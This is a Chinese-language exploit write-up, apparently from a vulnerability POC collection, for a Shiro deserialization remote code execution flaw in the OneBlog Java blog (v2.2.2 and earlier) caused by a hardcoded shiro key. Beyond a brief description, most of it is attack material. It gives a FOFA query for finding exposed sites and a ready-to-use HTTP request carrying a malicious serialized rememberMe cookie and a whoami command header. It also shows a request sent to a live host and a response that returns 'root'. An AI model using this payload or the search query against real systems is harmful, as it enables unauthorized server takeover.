O5-1OneBlog-Java博客-反序列化RCE

漏洞描述：

OneBlog v2.2.2 及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"

漏洞复现：

payload：

```
GET /passport/login/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cookie: rememberMe=MERiOWRmRTYzRTVhRTdkNAV5Arkl/IQSpndZljnVXl9lknV7+t4WiqqsrNoVml0c4nVuXr4GJTo403JSNqQ3f31gLEVHN0SlS3YbumG/HDaiB2pefF3BTxg8J8L1EV/wKBKvmuZJKPtSkoYB7v4ly/
X-Token-Data: whoami
Accept-Encoding: gzip
Connection: close
```

效果图:
PS:URL根据实际环境定位

Request

数据包扫描 热加载 构造请求

```
GET /passport/login/ HTTP/1.1
Host: [redacted]:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cookie: rememberMe=MERiOWRmRTYzRTVhRTdkNAV5Ark1/IQSpndZ1jnVX191knV7
+t4WiqqsrNoVml0c4nVuXr4GJTo403JSNqQ3f31gLEVHN0S1S3YbumG/HDaiB2pefF3BTxg8J8L1EV/
wKBKvmuZJKPtSkoYB7v41y/X39hhS8EVUm+DIsg6tdnnMI/
Y5WRvpZ4hnDtaMabMT3PCjlRiOCWHykDZOwEu8UoJZjFk6oQIH1wERfzdlETObpGHAwoxiKBCFarWz78xHyF9xF+Pz+/W5oLUs8
+CmtjL1qT4FbjRc2wdaM6wEVTYxrkv/Lcv4eqxl+rXbe85Dbs+CJl4Jgrm/
2hvpAoVPJA3Z4qtno0l39sUwTWkPhgrNJm2uhFLyKVBPzQI8Mq2wgcfOTcbCI56I6W50aATTynOnJNRvI9eeiLf2/Fij95
+7NY1K3IlHk2MtADfnhxB/wRLg0FGf0Jsy9F1YFtRdNMtTEMHG/GqP6sVLTo61gGJlOIAmlzx
+CS1jKwR76e6WPa4EEMPYyhWpARkaj61D5hsNGiI0U84krd007kxRE1i2kDGdMb8y1gF25QxZdbj8BeBfBqz062MHZLTi5qNAWZ
s29xAud9NXTDFeVp5Auty2gP1zIpVvRuMOJNtGCjEoDKxm+OvFAnZ9zbG+eYNkssc8NCzQwcI9nNcahWQtXgN/6LeY
+RxiRY2KUmZewoVnJ3/HsoYfo43MS0dURDOCf5ral0o49JyHMtYMlO17+8UU+36opdp8sIc/xFnwmjIIcYTUifR1BkKs6xoNM
+ciPfE60jPNuJiBdNSE9zg6p8qHfZkum8QMmveNaLWxzRxGg/PsWkHxVGbN1S4HgkvmdD6i1zCGKesEMS
+8VYuAWW8UVTK17RvH9cQGoJKJ+e+obYofjdp/
9fb0SAIaEat30DDRdAV4eymRpZkLM1q1pYlZViJi0x1jhUBuLiIHpWgiiE5NBIIeGbl/Lhm5p7hwGnQFVk+RUroY+PPx0FMxj
+BGg7zdZj+9PPObu5S/bkHAp7LpBISLD4mHzSObtZN7fRFoGf0VxO62S3UAWEl2zgZ00nmWyH
+mf4IvxQP81nikK39T8v3NoSRA6VETzUlUaYQ1pwhhwqxIbL+SGgqvjW8BbnYWECK/
z5SK2uDinVayec1ZNe3oFelMveYhjwjFuvhqAfpia+o8e56Ye5fokw2l6ahS6cflmklNuMmlwivaXRd30ESWjgz
+VW5J09tGPui9PMTLfDwl7D/X/ghQ5xNC2uGVTucZGhA3cUXhA0seLgzTqpv/
FUpt5CqaW5UUVKpskOfaatYXOVPmmlkHBXn30cwndv2KLhk1gJV63FiJGUBqBqf+SMpanzBC42Api09CHHG4X75FeKEZ7ad/
SOYU0MoOKoTKGw1xZMNh9ty2tJEUGuR4D3e9I08SU8
+D116rSiajDDP5KLTF7ZEOGjZOLAhXGzeVVY717HLynOAbWINEjH7A49uxnehIS7BKScdS20fiVuy7hgAF0W1dp5YLaqZIn2jIG
4n1peDYgtiV0r46EW2ZDSdOp+/oV2IJP2s1vRO51cECtNY5hDygoprJtLQ3NxKHi2+HeuNCyaEVFUByHy/dQ7VCba1pPT+/j/
TPOrPJbWI8wYMina/WAY1BF9Q2fcweypx4e8+Mq7yjXrB4im86u5fQRvYQdiqVMdaOW5Ni/PrUbotxflImst/
URLTWuBx8j12QHF7P3n5U6kSfWVOiBJQY8I50F/MFyP1G2QJIbOEMEEIXGVAVUwnLa4
+L6SxNR3NBK2wwxWRiso7RMkYaSKRS5Z5tJznNDsaA1+CxoJ8UQ
+81xSdxXkZYjHYFxH6lbDOPtdUkU8pNPfEs2tMvqeV6lAdZ75aDIiXZ/wnH9YtjElb2OzqqdDgQo6rOBhPnKSp3QC/
31bFaWA2D3zaSbpEnCbFuySGn2bCVegUUmAudQ+xozjtcO0mjlhrKHmi+K5fnwlTLmf6C8joG5LIKAYAGQkDG35u/
qSFk5GPYiy9BjahvzAHcAB0o0CHjHhnXBx+vGULUG5t5N2UMFlIk
+12JkyeKjPhJcvGWAMH1SCaWw69XP3J1R0403LKhmXnSxcsgxp7N8ar2tg0Vd0hI1wxi15kpJ1/0Ku7dvX0
```

Responses https 10960bytes / 46ms

```
HTTP/1.1 200
Server: nginx
Date: Tue, 19 Dec 2023 08:53:29 GMT
Connection: close
Strict-Transport-Security: max-age=1576800
Content-Length: 10960

root
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" conten
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" con
    <meta name="viewport" content="width=d
    <title>JX 编程后台管理系统</title>
    <link href="/assets/images/favicon.ico
    <link href="https://cdn.jsdelivr.net/n
    css" rel="stylesheet" type="text/css">
    <link href="https://cdn.jsdelivr.net/n
    rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/n
    min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/n
    fancybox.min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/n
    rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/n
    min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/n
    rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/n
```